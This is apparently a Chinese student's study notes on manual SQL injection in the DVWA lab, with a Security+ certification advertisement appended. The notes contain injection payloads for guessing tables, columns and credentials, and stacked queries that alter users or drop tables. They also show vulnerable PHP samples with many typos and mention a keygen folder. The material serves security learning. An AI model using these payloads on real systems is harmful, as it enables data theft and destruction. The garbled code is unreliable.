【安全牛學習筆記】手動漏洞挖掘-SQL註入
手動漏洞挖掘-----SQL註入
無權讀取information_schema庫 / 拒絕union、orderby語句
猜列明: ‘and column is null--+
Burp suite自動猜列名
猜當前表表名: ‘and table user is null--+
猜庫裏其他表: ‘and (select count(*) from table)>0--+
列表對應關系: ‘and user.user is null--+
猜字段內容: ‘or user=‘admin
‘or user like ‘%a%
猜賬號對應密碼:
‘or user=‘admin‘ and password=‘5f4dcc3b5aa765d61d8327dev832cf99
[email protected]:~# find / -name *column*.txt
find: ‘/media/sf_D_DRIVE/$RECYCLE.BIN/S-1-5-21-2268366954-3546357879-2348310953-1001‘: 不允許的操作
find: ‘/media/sf_D_DRIVE/System Volume Information‘: 不允許的操作
/media/sf_D_DRIVE/軟件/Pangolin/columns.txt
/media/sf_D_DRIVE/軟件/Pangolin/pangolin3.3+4.0+註冊機/pangolin3.3/columns.txt
/media/sf_D_DRIVE/軟件/Pangolin/pangolin3.3+4.0+註冊機/pangolin_professinal_edit
ion_4.0.0.1293/professinal_edition/columns.txt
/usr/share/golismero/tools/sqlmap/txt/common-columns.txt
/usr/share/w3af/w3af/plugins/attack/db/sqlmap/txt/common-columns.txt
/usr/share/sqlmap/txt/common-columns.txt
[email protected]:~# cat /usr/share/golismero/tools/sqlmap/txt/common-columns.txt
[email protected]:~# cat /usr/share/golismero/tools/sqlmap/txt/common-columns.txt | grep -v ^# > column.txt
[email protected]:~# cat column.txt
[email protected]:~# find / -name *table*.txt
[email protected]:~# cp /media/sf_D_DRIVE/軟件/Pangolin/pangolin3.3+4.0+註冊機/pangolin_professinal_edition_edition_4.0.0.1293/professinal_edition/tables.txt .
[email protected]:~# ls
column.txt Desktop Document Downloads Music Pictures Public table.txt Templates Videos
[email protected]:~# cat table.txt
[email protected]:~# cp /usr/share/golismero/tools/sqlmap/txt/common-table.txt
[email protected]:~# cat common-table.txt
[email protected]:~# cat common-table.txt | grep -v ^# table.txt
手動漏洞挖掘-----SQL註入
當數據庫可寫
;update users set user=‘yuanfh‘ where user=‘admin
註入失敗,Sql客戶端工具的問題
http://dev/mysql.com/doc/refman/5.7/en/commands-out-of-sync.html
;INSERT INTO users (‘user_id‘,‘first_name‘,‘last_name‘,‘user‘,‘password‘,‘avatar‘)VALUES
(‘35‘,‘fh‘,‘yuan‘,‘yfh‘,‘5f4dcc3b5aa765d61d8327dev832cf99‘,‘OK‘);--+
;DROP TABLE users;--
xp_cmdshell/存儲過程
SQLi沒有通用的方法,掌握原理,了解各種數據庫特性
[email protected]:~# echo password > 1
[email protected]:~# md5sum 1
286755fad04869ca523320acce0dc6a4
[email protected]:~$ msysql -u root -p
mysql> use dvwa;
mysql> select * from users;select * from guestbook;
手動漏洞挖掘-----SQL註入
Medium難度級別
mysql_real_escape_string()
PHP 4 >= 4.3.0,PHP 5
PHP 5.5.0已經棄用此函數
PHP 7.0.0已經刪除此函數,代之以MySQLi、PDO_MySQL
轉義符,對下列字符轉義
\x00
\n
\r
‘
"
\x1a
----------------------------------------------------------------------------------
低安全代碼
<?php
if(isset($_GET[‘Submit‘])){
// Retrieve data
$id = $_GET(‘id‘);
$getid = "SELECT first_name,last_name FROM users WHERE user_id = ‘$id‘";
$result = mysql_query($getid) or die(‘<pre>‘ . mysql_error() . ‘<pre>‘);
$num = mysql_numrows($result);
$i = 0;
while ($i < $num){
$frist = mysql_result($result.$i."frist_name");
$last = mysql_result($result.$i."last_name");
echo ‘<pre>‘;
echo ‘ID:‘ . $id . ‘<br>first_name:‘ . $frist . ‘<br>Surname:‘ .$,last;
echo ‘</pre>‘;
$i++;
}
}
?>
----------------------------------------------------------------------------------
中安全代碼
<?php
if(isset($_GET[‘Submit‘])){
// Retrieve data
$id = $_GET(‘id‘);
$id = mysql_real_escap_sting($id);
$getid = "SELECT first_name,last_name FROM users WHERE user_id = ‘$id‘";
$result = mysql_query($getid) or die(‘<pre>‘ . mysql_error() . ‘<pre>‘);
$num = mysql_numrows($result);
$i = 0;
while ($i < $num){
$frist = mysql_result($result.$i."frist_name");
$last = mysql_result($result.$i."last_name");
echo ‘<pre>‘;
echo ‘ID:‘ . $id . ‘<br>first_name:‘ . $frist . ‘<br>Surname:‘ .$,last;
echo ‘</pre>‘;
$i++;
}
}
?>
----------------------------------------------------------------------------------
手動漏洞挖掘-----SQL註入
high難度級別
mysql_real_escape_string()
stripslashes()
去除"\"
is_numeric()
判斷是否是數字
----------------------------------------------------------------------------------
中安全代碼
<?php
if(isset($_GET[‘Submit‘])){
// Retrieve data
$id = $_GET(‘id‘);
$id = stripsashed($id);
$id = mysql_real_escap_sting($id);
if (is_numeric($id)){
$getid = "SELECT first_name,last_name FROM users WHERE user_id = ‘$id‘";
$result = mysql_query($getid) or die(‘<pre>‘ . mysql_error() . ‘<pre>‘);
$num = mysql_numrows($result);
$i = 0;
while ($i < $num){
$frist = mysql_result($result.$i."frist_name");
$last = mysql_result($result.$i."last_name");
echo ‘<pre>‘;
echo ‘ID:‘ . $id . ‘<br>first_name:‘ . $frist . ‘<br>Surname:‘ .$,last;
echo ‘</pre>‘;
$i++;
}
}
}
?>
----------------------------------------------------------------------------------
該筆記為安全牛課堂學員筆記,想看此課程或者信息安全類幹貨可以移步到安全牛課堂
Security+認證為什麽是互聯網+時代最火爆的認證?
牛妹先給大家介紹一下Security+
Security+ 認證是一種中立第三方認證,其發證機構為美國計算機行業協會CompTIA ;是和CISSP、ITIL 等共同包含在內的國際 IT 業 10 大熱門認證之一,和CISSP偏重信息安全管理相比,Security+ 認證更偏重信息安全技術和操作。
通過該認證證明了您具備網絡安全,合規性和操作安全,威脅和漏洞,應用程序、數據和主機安全,訪問控制和身份管理以及加密技術等方面的能力。因其考試難度不易,含金量較高,目前已被全球企業和安全專業人士所普遍采納。
Security+認證如此火爆的原因?
原因一:在所有信息安全認證當中,偏重信息安全技術的認證是空白的, Security+認證正好可以彌補信息安全技術領域的空白 。
目前行業內受認可的信息安全認證主要有CISP和CISSP,但是無論CISP還是CISSP都是偏重信息安全管理的,技術知識講的寬泛且淺顯,考試都是一帶而過。而且CISSP要求持證人員的信息安全工作經驗都要5年以上,CISP也要求大專學歷4年以上工作經驗,這些要求無疑把有能力且上進的年輕人的持證之路堵住。在現實社會中,無論是找工作還是升職加薪,或是投標時候報人員,認證都是必不可少的,這給年輕人帶來了很多不公平。而Security+的出現可以掃清這些年輕人職業發展中的障礙,由於Security+偏重信息安全技術,所以對工作經驗沒有特別的要求。只要你有IT相關背景,追求進步就可以學習和考試。
原因二: IT運維人員工作與翻身的利器。
在銀行、證券、保險、信息通訊等行業,IT運維人員非常多,IT運維涉及的工作面也非常廣。是一個集網絡、系統、安全、應用架構、存儲為一體的綜合性技術崗。雖然沒有程序猿們“生當做光棍,死亦寫代碼”的悲壯,但也有著“鋤禾日當午,不如運維苦“的感慨。天天對著電腦和機器,時間長了難免有對於職業發展的迷茫和困惑。Security+國際認證的出現可以讓有追求的IT運維人員學習網絡安全知識,掌握網絡安全實踐。職業發展朝著網絡安全的方向發展,解決國內信息安全人才的匱乏問題。另外,即使不轉型,要做好運維工作,學習安全知識取得安全認證也是必不可少的。
原因三:接地氣、國際範兒、考試方便、費用適中!
CompTIA作為全球ICT領域最具影響力的全球領先機構,在信息安全人才認證方面是專業、公平、公正的。Security+認證偏重操作且和一線工程師的日常工作息息相關。適合銀行、證券、保險、互聯網公司等IT相關人員學習。作為國際認證在全球147個國家受到廣泛的認可。
在目前的信息安全大潮之下,人才是信息安全發展的關鍵。而目前國內的信息安全人才是非常匱乏的,相信Security+認證一定會成為最火爆的信息安全認證。
本文出自 “11662938” 博客,請務必保留此出處http://11672938.blog.51cto.com/11662938/1969410
【安全牛學習筆記】手動漏洞挖掘-SQL註入